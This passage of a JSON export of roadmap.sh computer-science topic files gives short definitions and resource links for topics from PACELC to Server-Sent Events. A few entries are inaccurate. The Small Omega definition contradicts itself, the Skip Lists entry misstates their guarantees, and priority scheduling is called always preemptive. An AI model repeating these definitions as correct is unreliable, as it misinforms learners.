  {
    "path": "src/data/roadmaps/computer-science/content/pacelc@g6HeyLptaAYx9QBKuHQyM.md",
    "content": "# PACELC Theorem\n\nThe PACELC Theorem is an extension of the CAP Theorem. One of the questions that CAP Theorem wasn’t able to answer was “what happens when there is no Partition, What Logical Combination then a Distributed System have?“. So to answer this, In addition to Consistency, Availability, and Partition Tolerance it also includes Latency as one of the desired properties of a Distributed System. The acronym PACELC stands for Partitioned, Availability, Consistency Else Latency, Consistency.\n\nVisit the following resources to learn more:\n\n- [@article@PACELC Theorem](https://www.scylladb.com/glossary/pacelc-theorem/)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/pick-a-language@tU4Umtnfu01t9gLlnlK6b.md",
    "content": "# Pick a Language\n\nYou need to pick a programming language to learn the Computer Science concepts. My personal recommendation would be to pick C++ or C and the reason for that is:\n\n*   They allow you to deal with pointers and memory allocation/deallocation, so you feel the data structures and algorithms in your bones. In higher level languages like Python or Java, these are hidden from you. In day to day work, that's terrific, but when you're learning how these low-level data structures are built, it's great to feel close to the metal.\n*   You will be able to find a lot of resources for the topics listed in this roadmap using C or C++. You can find a lot of resources for Python and Java, but they are not as abundant as C++ and C.\n\nGiven below is the list of resources; pick ones relevant to the language of your choice.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated C++ Roadmap](https://roadmap.sh/cpp)\n- [@article@Learn C++ - Tutorials Point](https://www.tutorialspoint.com/cplusplus/index.htm)\n- [@article@Learn C - Tutorials Point](https://www.tutorialspoint.com/cprogramming/index.htm)\n- [@video@C++ Programming Course - Beginner to Advanced](https://www.youtube.com/watch?v=8jLOx1hD3_o)\n- [@video@C++ Tutorial for Beginners - Full Course](https://www.youtube.com/watch?v=vLnPwxZdW4Y)\n- [@video@C Programming Tutorial for Beginners](https://www.youtube.com/watch?v=KJgsSFOSQv0)\n- [@video@Learn C Programming with Dr. Chuck](https://www.youtube.com/watch?v=j-_s8f5K30I)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/polynomial@sVFvpsAO1_ZH9aliEj9aF.md",
    "content": "# Polynomial\n\nPolynomial algorithms are algorithms that have a runtime that is a polynomial function of the input size. This means that the runtime is a function of the form `n^k` where `k` is a constant. For example, the runtime of the following algorithm is `n^2`:\n\n    def polynomial_algorithm(n):\n        for i in range(n):\n            for j in range(n):\n                print(i, j)\n\nVisit the following resources to learn more:\n\n- [@video@Big O Notation — Calculating Time Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@Big O Notations](https://www.youtube.com/watch?v=V6mKVRU1evU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/post-order-traversal@4_oGXwjzSY5cX9n7L4iAA.md",
    "content": "# Post-Order Traversal\n\nPost-order traversal is a type of tree traversal that visits the left subtree, then the right subtree, and finally the root node. This is the opposite of pre-order traversal, which visits the root node first, then the left subtree, and finally the right subtree.\n\nVisit the following resources to learn more:\n\n- [@article@Postorder Traversal of Binary Tree](https://www.geeksforgeeks.org/postorder-traversal-of-binary-tree/)\n- [@video@Tree | Illustrated Data Structures](https://www.youtube.com/watch?v=S2W3SXGPVyU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/pre-order-traversal@psTN5N66xoFHFopgd5faW.md",
    "content": "# Pre-Order Traversal\n\nPre-order traversal is a way to visit every node in a tree data structure. It follows a specific order: first, the current node is processed (or visited). Then, the left subtree of the current node is traversed using pre-order. Finally, the right subtree of the current node is traversed using pre-order. This \"node-left-right\" sequence ensures each node is visited exactly once.\n\nVisit the following resources to learn more:\n\n- [@video@Tree | Illustrated Data Structures](https://www.youtube.com/watch?v=S2W3SXGPVyU)\n- [@video@Pre-order tree traversal in 3 minutes](https://www.youtube.com/watch?v=1WxLM2hwL-U)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/prims-algorithm@znpFIKwMJlepKJ8dH3kvC.md",
    "content": "# Prim's Algorithm\n\nPrim's algorithm is a greedy algorithm that finds a minimum spanning tree for a weighted undirected graph. A minimum spanning tree is a subset of the edges of a connected, edge-weighted undirected graph that connects all the vertices together, without any cycles and with the minimum possible total edge weight. A minimum spanning tree for a weighted undirected graph is also called a minimum weight spanning tree or minimum cost spanning tree.\n\nVisit the following resources to learn more:\n\n- [@article@Prims Algorithm](https://www.programiz.com/dsa/prim-algorithm)\n- [@video@Graph Algorithms I - Topological Sorting, Prims Algorithm - Lecture 6](https://www.youtube.com/watch?v=i_AQT_XfvD8&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=7)\n- [@feed@Explore top posts about Data Science](https://app.daily.dev/tags/data-science?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/probability@HZ3_xyphbjhBPwwQo_rHH.md",
    "content": "# Probability\n\nProbability is the study of how likely an event is to occur. It is a measure of how certain we are that an event will happen.\n\nVisit the following resources to learn more:\n\n- [@article@Probability - Khan Academy](https://www.khanacademy.org/math/statistics-probability/probability-library)\n- [@video@MIT 6.042J - Probability Introduction](https://www.youtube.com/watch?v=SmFwFdESMHI&index=18&list=PLB7540DEDD482705B)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/process-forking@RbdT5MOE4L-E7PPWKRITX.md",
    "content": "# Process Forking\n\nProcess forking is a way to create a new process from an existing process. The new process is a copy of the existing process. The new process is called a child process and the existing process is called a parent process.\n\nVisit the following resources to learn more:\n\n- [@article@Fork System Call in Operating System](https://www.geeksforgeeks.org/fork-system-call-in-operating-system/)\n- [@video@Understanding fork() system call for new process creation](https://www.youtube.com/watch?v=PwxTbksJ2fo)\n- [@video@fork() and exec() System Calls](https://www.youtube.com/watch?v=IFEFVXvjiHY)\n- [@video@The fork() function in C](https://www.youtube.com/watch?v=cex9XrZCU14)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/processes-and-threads@ETEUA7jaEGyOEX8tAVNWs.md",
    "content": "# Processes and Threads\n\nProcesses and threads are the basic building blocks of a computer program. They are the smallest units of execution in a program. A process is an instance of a program that is being executed. A thread is a sequence of instructions within a process that can be executed independently of other code.\n\nVisit the following resources to learn more:\n\n- [@article@Whats the difference between Process and a Thread?](https://www.quora.com/What-is-the-difference-between-a-process-and-a-thread)\n- [@article@Operating Systems and System Programming](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iBDyz-ba4yDskqMDY6A1w_c)\n- [@video@25 hour Operating Systems Course - freecodecamp](https://youtu.be/yK1uBHPdp30?si=gGPdK7cM4KlP6Qq0)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/processes-vs-threads@IEX6v_MYpE5Ylk_28K2ZU.md",
    "content": "# Processes and Threads\n\nProcesses and threads are the basic building blocks of a computer program. They are the smallest units of execution in a program. A process is an instance of a program that is being executed. A thread is a sequence of instructions within a process that can be executed independently of other code.\n\nVisit the following resources to learn more:\n\n- [@article@Whats the difference between Process and a Thread?](https://www.quora.com/What-is-the-difference-between-a-process-and-a-thread)\n- [@article@Operating Systems and System Programming](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iBDyz-ba4yDskqMDY6A1w_c)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/proxy@qLLJ_ehC8tSRfXsorYMQz.md",
    "content": "# Proxy\n\nA proxy server is an intermediary piece of hardware/software sitting between the client and the backend server. It receives requests from clients and relays them to the origin servers. Typically, proxies are used to filter requests, log requests, or sometimes transform requests (by adding/removing headers, encrypting/decrypting, or compression).\n\nVisit the following resources to learn more:\n\n- [@article@Proxy Servers](https://roadmap.sh/guides/proxy-servers)\n- [@article@Proxy - System Design](https://dev.to/karanpratapsingh/system-design-the-complete-course-10fo#proxy)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/public-key-cryptography@bDZ34BPm3lX06ERSE10cY.md",
    "content": "# Public Key Cryptography\n\nPublic-key cryptography, or asymmetric cryptography, is the field of cryptographic systems that use pairs of related keys. Each key pair consists of a public key and a corresponding private key. Key pairs are generated with cryptographic algorithms based on mathematical problems termed one-way functions.\n\nVisit the following resources to learn more:\n\n- [@article@Public-key Cryptography](https://en.wikipedia.org/wiki/Public-key_cryptography)\n- [@video@Public Key Cryptography - Computerphile](https://www.youtube.com/watch?v=GSIDS_lvRv4)\n- [@video@Public Key Cryptography: RSA Encryption Algorithm](https://www.youtube.com/watch?v=wXB-V_Keiu8)\n- [@feed@Explore top posts about Cryptography](https://app.daily.dev/tags/cryptography?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/python@RlKZzs44biQPgxD0tK1qx.md",
    "content": "# Python\n\nPython is a well known programming language which is both a strongly typed and a dynamically typed language. Being an interpreted language, code is executed as soon as it is written and the Python syntax allows for writing code in functional, procedural or object-oriented programmatic ways.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python](https://www.python.org/)\n- [@official@Getting Started with Python](https://www.python.org/about/gettingstarted/)\n- [@article@Automate the Boring Stuff](https://automatetheboringstuff.com/)\n- [@article@Python principles - Python basics](https://pythonprinciples.com/)\n- [@article@Python Crash Course](https://ehmatthes.github.io/pcc/)\n- [@article@An Introduction to Python for Non-Programmers](https://thenewstack.io/an-introduction-to-python-for-non-programmers/)\n- [@article@Getting Started with Python and InfluxDB](https://thenewstack.io/getting-started-with-python-and-influxdb/)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/queue@JI990pDX2jjNe6IH_Y_t0.md",
    "content": "# Queue\n\nQueue is a linear collection of items where items are inserted and removed in a particular order. The queue is also called a FIFO Data Structure because it follows the \"First In, First Out\" principle i.e., the item that is inserted in the first is the one that is taken out first.\n\nVisit the following resources to learn more:\n\n- [@course@Queues - Coursera](https://www.coursera.org/lecture/data-structures/queues-EShpq)\n- [@article@Circular Buffer - Wikipedia](https://en.wikipedia.org/wiki/Circular_buffer)\n- [@video@Queue Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=mDCi1lXd9hc)\n- [@video@Queue in 3 Minutes](https://www.youtube.com/watch?v=D6gu-_tmEpQ)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/queues@LCPEzpyAuHY3ggN3nYrNN.md",
    "content": "# Queues\n\nMessaging queues are a common way to decouple systems. They are used to decouple the producer of a message from the consumer of a message. This allows the producer to send a message and not have to wait for the consumer to process it. It also allows the consumer to process the message at their own pace.\n\nVisit the following resources to learn more:\n\n- [@article@Message Queues - System Design](https://dev.to/karanpratapsingh/system-design-the-complete-course-10fo#message-queues)\n- [@video@What is a Message Queue?](https://www.youtube.com/watch?v=xErwDaOc-Gs)\n- [@video@What is a Message Queue and Where is it used?](https://www.youtube.com/watch?v=oUJbuFMyBDk)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/quick-sort@be0Q8GW9ZX1JbPrBvbMji.md",
    "content": "# Quick Sort\n\nQuick Sort is a divide and conquer algorithm. It picks an element as pivot and partitions the given array around the picked pivot. There are many different versions of quickSort that pick pivot in different ways.\n\nVisit the following resources to learn more:\n\n- [@opensource@Quick Sort Implementation in Python](https://github.com/jwasham/practice-python/blob/master/quick_sort/quick_sort.py)\n- [@article@Quick Sort Algorithm](https://www.programiz.com/dsa/quick-sort)\n- [@article@Quick Sort Implementation in C](http://www.cs.yale.edu/homes/aspnes/classes/223/examples/randomization/quick.c)\n- [@video@Quick Sort in 4 Minutes](https://www.youtube.com/watch?v=Hoixgm4-P4M&feature=youtu.be)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/rabin-karp-algorithm@l5--4opvZoc_seVn__5R3.md",
    "content": "# Rabin-Karp's algorithm\n\nRabin-Karp algorithm is a string searching algorithm that uses hashing to find any one of a set of pattern strings in a text. For strings of average length `n`, it performs in `O(n+m)` time with `O(m)` space, where `m` is the length of the pattern. It is often used in bioinformatics to search for DNA patterns.\n\nVisit the following resources to learn more:\n\n- [@course@Rabin Karps Algorithm](https://www.coursera.org/lecture/data-structures/rabin-karps-algorithm-c0Qkw)\n- [@course@Optimization: Precomputation](https://www.coursera.org/learn/data-structures/lecture/nYrc8/optimization-precomputation)\n- [@course@Optimization: Implementation and Analysis](https://www.coursera.org/learn/data-structures/lecture/h4ZLc/optimization-implementation-and-analysis)\n- [@video@Lecture 9: Table Doubling, Karp-Rabin](https://www.youtube.com/watch?v=BRO7mVIFt08&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=9)\n- [@video@Rolling Hashes, Amortized Analysis](https://www.youtube.com/watch?v=w6nuXg0BISo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=33)\n- [@feed@Explore top posts about Data Science](https://app.daily.dev/tags/data-science?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/red--black-trees@eOL0_SzxBn7_xhNcBDi2D.md",
    "content": "# Red/Black Trees\n\nIn computer science, a red–black tree is a kind of self-balancing binary search tree. Each node stores an extra bit representing \"color\", used to ensure that the tree remains balanced during insertions and deletions.\n\nThese are a translation of a 2-3 tree (see below).\n\nIn practice: Red–black trees offer worst-case guarantees for insertion time, deletion time, and search time. Not only does this make them valuable in time-sensitive applications such as real-time applications, but it makes them valuable building blocks in other data structures which provide worst-case guarantees; for example, many data structures used in computational geometry can be based on red–black trees, and the Completely Fair Scheduler used in current Linux kernels uses red–black trees. In the version 8 of Java, the Collection HashMap has been modified such that instead of using a LinkedList to store identical elements with poor hashcodes, a Red-Black tree is used.\n\nVisit the following resources to learn more:\n\n- [@article@Red-Black Tree - Wikipedia](https://en.wikipedia.org/wiki/Red%E2%80%93black_tree)\n- [@article@An Introduction To Binary Search And Red Black Tree](https://www.topcoder.com/thrive/articles/An%20Introduction%20to%20Binary%20Search%20and%20Red-Black%20Trees)\n- [@video@Red-Black Trees (playlist) in 30 minutes](https://www.youtube.com/playlist?list=PL9xmBV_5YoZNqDI8qfOZgzbqahCUmUEin)\n- [@video@Aduni - Algorithms - Lecture 4 (link jumps to starting point)](https://youtu.be/1W3x0f_RmUo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3871)\n- [@video@Aduni - Algorithms - Lecture 5](https://www.youtube.com/watch?v=hm2GHwyKF1o&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=5)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/registers-and-ram@U3379F4AO1KSmGtVmPr27.md",
    "content": "# Registers and RAMs\n\n**_Registers_** are the smallest data-holding elements built into the processor itself. Registers are the memory locations that are directly accessible by the processor. The registers hold the instruction or operands currently accessed by the CPU.\n\nRegisters are the high-speed accessible storage elements. The processor accesses the registers within one CPU clock cycle. The processor can decode the instructions and perform operations on the register contents at more than one operation per CPU clock cycle.\n\n**_Memory_** is a hardware device that stores computer programs, instructions, and data. The memory that is internal to the processor is primary memory (RAM), and the memory that is external to the processor is secondary (**Hard Drive**).\n\nVisit the following resources to learn more:\n\n- [@article@RAM vs. Registers - What's the Difference?](https://thisvsthat.io/ram-vs-registers)\n- [@video@Registers and RAM](https://youtu.be/fpnE6UAfbtU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/replication@WUEmEtlszbISSIWDKpvg6.md",
    "content": "# Replication\n\nReplication is a process that involves sharing information to ensure consistency between redundant resources such as multiple databases, to improve reliability, fault-tolerance, or accessibility.\n\nVisit the following resources to learn more:\n\n- [@article@Database Replication](https://dev.to/karanpratapsingh/system-design-the-complete-course-10fo#database-replication)\n- [@article@Replication (computing)](https://en.wikipedia.org/wiki/Replication_(computing))"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/rest@Kvz3Sn7L8CxP5ZXO1hlcU.md",
    "content": "# REST\n\nREST, or REpresentational State Transfer, is an architectural style for providing standards between computer systems on the web, making it easier for systems to communicate with each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is a REST API?](https://www.redhat.com/en/topics/api/what-is-a-rest-api)\n- [@article@Roy Fieldings dissertation chapter, Representational State Transfer (REST)](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm)\n- [@article@Learn REST: A RESTful Tutorial](https://restapitutorial.com/)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/robin-karp@Km5LvcJpyntrW2iA8h5e3.md",
    "content": "# Rabin-Karp's algorithm\n\nRabin-Karp algorithm is a string searching algorithm that uses hashing to find any one of a set of pattern strings in a text. For strings of average length `n`, it performs in `O(n+m)` time with `O(m)` space, where `m` is the length of the pattern. It is often used in bioinformatics to search for DNA patterns.\n\nVisit the following resources to learn more:\n\n- [@course@Rabin Karps Algorithm](https://www.coursera.org/lecture/data-structures/rabin-karps-algorithm-c0Qkw)\n- [@course@Optimization: Precomputation](https://www.coursera.org/learn/data-structures/lecture/nYrc8/optimization-precomputation)\n- [@course@Optimization: Implementation and Analysis](https://www.coursera.org/learn/data-structures/lecture/h4ZLc/optimization-implementation-and-analysis)\n- [@video@Lecture 9: Table Doubling, Karp-Rabin](https://www.youtube.com/watch?v=BRO7mVIFt08&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=9)\n- [@video@Rolling Hashes, Amortized Analysis](https://www.youtube.com/watch?v=w6nuXg0BISo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=33)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/rust@1bDjg-KBDKRmE6f1MWY8l.md",
    "content": "# Rust\n\nRust is a modern systems programming language focusing on safety, speed, and concurrency. It accomplishes these goals by being memory safe without using garbage collection.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Rust Roadmap](https://roadmap.sh/rust)\n- [@official@The Rust Programming Language - online book](https://doc.rust-lang.org/book/)\n- [@official@Rust by Example - collection of runnable examples](https://doc.rust-lang.org/stable/rust-by-example/index.html)\n- [@article@Rust vs. Go: Why They’re Better Together](https://thenewstack.io/rust-vs-go-why-theyre-better-together/)\n- [@article@Rust by the Numbers: The Rust Programming Language in 2021](https://thenewstack.io/rust-by-the-numbers-the-rust-programming-language-in-2021/)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/scheduling-algorithms@Ge2nagN86ofa2y-yYR1lv.md",
    "content": "# Scheduling Algorithms\n\nCPU Scheduling is the process of selecting a process from the ready queue and allocating the CPU to it. The selection of a process is based on a particular scheduling algorithm. The scheduling algorithm is chosen depending on the type of system and the requirements of the processes.\n\nHere is the list of some of the most commonly used scheduling algorithms:\n\n*   **First Come First Serve (FCFS):** The process that arrives first is allocated the CPU first. It is a non-preemptive algorithm.\n*   **Shortest Job First (SJF):** The process with the smallest execution time is allocated the CPU first. It is a non-preemptive algorithm.\n*   **Shortest Remaining Time First (SRTF):** The process with the smallest remaining execution time is allocated the CPU first. It is a preemptive algorithm.\n*   **Round Robin (RR):** The process is allocated the CPU for a fixed time slice. The time slice is usually 10 milliseconds. It is a preemptive algorithm.\n*   **Priority Scheduling:** The process with the highest priority is allocated the CPU first. It is a preemptive algorithm.\n*   **Multi-level Queue Scheduling:** The processes are divided into different queues based on their priority. The process with the highest priority is allocated the CPU first. It is a preemptive algorithm.\n*   **Multi-level Feedback Queue Scheduling:** The processes are divided into different queues based on their priority. The process with the highest priority is allocated the CPU first. If a process is preempted, it is moved to the next queue. It is a preemptive algorithm.\n*   **Highest Response Ratio Next(HRRN):** CPU is allotted to the next process which has the highest response ratio and not to the process having less burst time. It is a Non-Preemptive algorithm.\n*   **Lottery Scheduling:** The process is allocated the CPU based on a lottery system. It is a preemptive algorithm.\n\nVisit the following resources to learn more:\n\n- [@article@CPU Scheduling in Operating System](https://www.scaler.com/topics/operating-system/cpu-scheduling/)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/search-pattern-in-text@L4M5yFRKKR2axKXGcIA7d.md",
    "content": "# Search Pattern in Text\n\nSearching pattern in text is a very common task in computer science. It is used in many applications like spell checkers, text editors, and many more.\n\nVisit the following resources to learn more:\n\n- [@course@Search Pattern in Text](https://www.coursera.org/learn/data-structures/lecture/tAfHI/search-pattern-in-text)\n- [@article@Pattern Searching](https://www.geeksforgeeks.org/pattern-searching/)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/security@JnJbJtsqKbVETY2vdLqCO.md",
    "content": "# Security\n\nWeb security refers to the protective measures taken by the developers to protect the web applications from threats that could affect the business.\n\nVisit the following resources to learn more:\n\n- [@opensource@OWASP Web Application Security Testing Checklist](https://github.com/0xRadi/OWASP-Web-Checklist)\n- [@article@Why HTTPS Matters](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/why-https)\n- [@article@Wikipedia - OWASP](https://en.wikipedia.org/wiki/OWASP)\n- [@article@OWASP Top 10 Security Risks](https://sucuri.net/guides/owasp-top-10-security-vulnerabilities-2021/)\n- [@article@OWASP Cheatsheets](https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html)\n- [@article@Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)\n- [@video@MIT 6.858 Computer Systems Security, Fall 2014](https://www.youtube.com/playlist?list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/selection-sort@rOsHFXQm5jNz0RyZQ5ZGs.md",
    "content": "# Selection Sort\n\nSelection sort is a sorting algorithm that selects the smallest unsorted item in the list and swaps it with index 0, then finds the next smallest and places it into index 1 and so on.\n\nVisit the following resources to learn more:\n\n- [@course@Selection Sort](https://www.coursera.org/lecture/algorithms-part1/selection-UQxFT)\n- [@article@Selection Sort](https://en.wikipedia.org/wiki/Selection_sort)\n- [@video@Selection Sort in 3 Minutes](https://www.youtube.com/watch?v=g-PGLbMth_g)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/sequence-diagrams@gaUT5K2xS-WQMrIA0Bkb_.md",
    "content": "# Sequence Diagrams\n\nSequence diagrams are a way to show how objects or systems interact with each other over time.\n\nVisit the following resources to learn more:\n\n- [@video@How to Make a UML Sequence Diagram](https://www.youtube.com/watch?v=pCK6prSq8aw)\n- [@video@Sequence Diagrams Tutorial](https://www.youtube.com/watch?v=cxG-qWthxt4&list=PLfoY2ARMh0hBthB9VqsQzogSouTjzkMHe&index=2)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/sharding@3K65efPag2076dy-MeTg4.md",
    "content": "# Sharding\n\nDatabase sharding is a method of distributing data across multiple machines. It is a horizontal scaling technique, as opposed to vertical scaling, which is scaling by adding more power to a single machine. Sharding is a common way to scale a database.\n\nVisit the following resources to learn more:\n\n- [@article@Sharding](https://dev.to/karanpratapsingh/system-design-the-complete-course-10fo#sharding)\n- [@video@Sharding & Database Partitioning | System Design Basics](https://www.youtube.com/watch?v=RynPj8C0BXA)\n- [@video@Database Sharding - Watch](https://www.youtube.com/watch?v=hdxdhCpgYo8)\n- [@video@Database Sharding in 5 minutes](https://www.youtube.com/watch?v=kSH4bt8ypOQ)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/short-polling@gGmNJ8dK28iqrlQHPz6md.md",
    "content": "# Short Polling\n\nIn short polling, the client requests information from the server. The server processes the request. If data is available for the request, server responds to the request with the required information. However, if the server has no data available for the client, server returns an empty response. In both the situation, the connection will be closed after returning the response. Clients keep issuing new requests even after server sends the empty responses. This mechanism increases the network cost on the server.\n\nVisit the following resources to learn more:\n\n- [@article@What are Long-Polling, Websockets, Server-Sent Events (SSE) and Comet?](https://stackoverflow.com/questions/11077857/what-are-long-polling-websockets-server-sent-events-sse-and-comet)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/skip-lists@K96ggeWqd5OwoNnkL04pc.md",
    "content": "# Skip Lists\n\nSkip lists are a data structure that allows you to perform operations on a sorted list in O(log n) time. Skip lists are a probabilistic data structure, which means that the probability of a certain operation taking a certain amount of time is a certain value. In the case of skip lists, the probability of an operation taking O(log n) time is 1.\n\nVisit the following resources to learn more:\n\n- [@article@Skip Lists](https://en.wikipedia.org/wiki/Skip_list)\n- [@video@Randomization: Skip Lists](https://www.youtube.com/watch?v=2g9OSRKJuzM&index=10&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/small-o@2cg5PogENPhiYFXQnV9xC.md",
    "content": "# Small O Notation\n\nSmall o notation, denoted as o(g(n)), defines an upper bound on the growth of a function f(n) that is *not* asymptotically tight. In simpler terms, f(n) is o(g(n)) if, for any positive constant c, there exists a value n₀ such that f(n) is strictly less than c*g(n) for all n greater than n₀. This means that g(n) grows strictly faster than f(n) as n approaches infinity.\n\nVisit the following resources to learn more:\n\n- [@article@Little-o notation | Wikipedia](https://en.wikipedia.org/wiki/Big_O_notation#Little-o_notation)\n- [@article@Difference between Big-O and Little-o Notations](https://www.baeldung.com/cs/big-o-vs-little-o-notation)\n- [@video@The Little o Notation](https://www.youtube.com/watch?v=Hk_AWLNjGLs)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/small-omega@dUBRG_5aUYlICsjPbRlTf.md",
    "content": "# Small Omega\n\nSmall Omega (ω) notation is used to describe a lower bound on the growth rate of a function. Specifically, it indicates that a function *g(n)* grows strictly slower than another function *f(n)* as *n* approaches infinity. This means that for any constant *c > 0*, there exists a value *n₀* such that *g(n) < c*f(n)* for all *n > n₀*. In simpler terms, *f(n)* is a strict lower bound for *g(n)*.\n\nVisit the following resources to learn more:\n\n- [@article@Asymptotic Notations](https://learnxinyminutes.com/asymptotic-notation/)\n- [@video@The Little o Notation](https://www.youtube.com/watch?v=XkkZaWikZHU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/sockets@u-c-UFegRb7xqsmvj9gVb.md",
    "content": "# Sockets\n\nA socket is an interface for network communication. It is a way for two programs to communicate with each other over a network. It is a way for a client to send a request to a server and for the server to send a response back to the client.\n\nVisit the following resources to learn more:\n\n- [@video@A Beginners Guide to WebSockets](https://www.youtube.com/watch?v=8ARodQ4Wlf4)\n- [@video@WebSockets in 100 Seconds & Beyond with Socket.io](https://www.youtube.com/watch?v=1BfCnjr_Vjg)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/solving-n-queen-problem@HlAmTY1udqDT2mTfBU9P-.md",
    "content": "# Solving n Queen Problem\n\nN Queen Problem is a famous problem in Computer Science. It is a problem of placing n queens on an n x n chessboard such that no two queens attack each other. The problem is to find all possible solutions to the problem.\n\nVisit the following resources to learn more:\n\n- [@article@N-Queens problem using backtracking in Java/C++](https://www.digitalocean.com/community/tutorials/n-queens-problem-java-c-plus-plus)\n- [@video@6.1 N Queens Problem using Backtracking](https://www.youtube.com/watch?v=xFv_Hl4B83A)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/spanning-tree@L4xtWOdqGUf4SbJkoOsNM.md",
    "content": "# Spanning Tree\n\nA spanning tree is a subset of Graph G, which has all the vertices covered with minimum possible number of edges. Hence, a spanning tree does not have cycles and it cannot be disconnected..\n\nVisit the following resources to learn more:\n\n- [@article@Spanning Tree](https://www.tutorialspoint.com/data_structures_algorithms/spanning_tree.htm)\n- [@video@CSE373 2020 - Lecture 13 - Minimum Spanning Trees](https://www.youtube.com/watch?v=oolm2VnJUKw&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=13)\n- [@video@CSE373 2020 - Lecture 14 - Minimum Spanning Trees (cont)](https://www.youtube.com/watch?v=RktgPx0MarY&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=14)\n- [@video@Greedy Algorithms: Minimum Spanning Tree](https://www.youtube.com/watch?v=tKwnms5iRBU&index=16&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/sql-vs-nosql-databases@nprZscHdC_RdRIcGeGyVk.md",
    "content": "# SQL vs NoSQL databases\n\nSQL stands for Structured Query Language. It's used for relational databases. A SQL database is a collection of tables that stores a specific set of structured data. Some examples are PostgreSQL, MySQL, MariaDB etc.\n\nNoSQL stands for Not Only SQL. It's used for non-relational databases. A NoSQL database is a collection of collections that stores a specific set of unstructured data. Some examples are MongoDB, CouchDB, Redis etc.\n\nVisit the following resources to learn more:\n\n- [@video@SQL vs. NoSQL: Whats the difference?](https://www.youtube.com/watch?v=Q5aTUc7c4jg)\n- [@video@Database Design Tips | Choosing the Best Database in a System Design Interview](https://www.youtube.com/watch?v=cODCpXtPHbQ&t=22s)\n- [@video@NoSQL vs SQL – Which Type of Database Should You Use?](https://www.youtube.com/watch?v=FzlpwoeSrE0)\n- [@feed@Explore top posts about NoSQL](https://app.daily.dev/tags/nosql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/sse@JckRqZA8C6IqQLPpTCgf4.md",
    "content": "# Server Sent Events\n\nServer-Sent Events is a server push technology enabling a client to receive automatic updates from a server via an HTTP connection, and describes how servers can initiate data transmission towards clients once an initial client connection has been established.\n\nVisit the following resources to learn more:\n\n- [@article@What is Server-Sent Events (SSE) and how to implement it?](https://medium.com/yemeksepeti-teknoloji/what-is-server-sent-events-sse-and-how-to-implement-it-904938bffd73)\n- [@article@Using server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events)\n- [@feed@Explore top posts about Cryptography](https://app.daily.dev/tags/cryptography?ref=roadmapsh)"
  },
  {
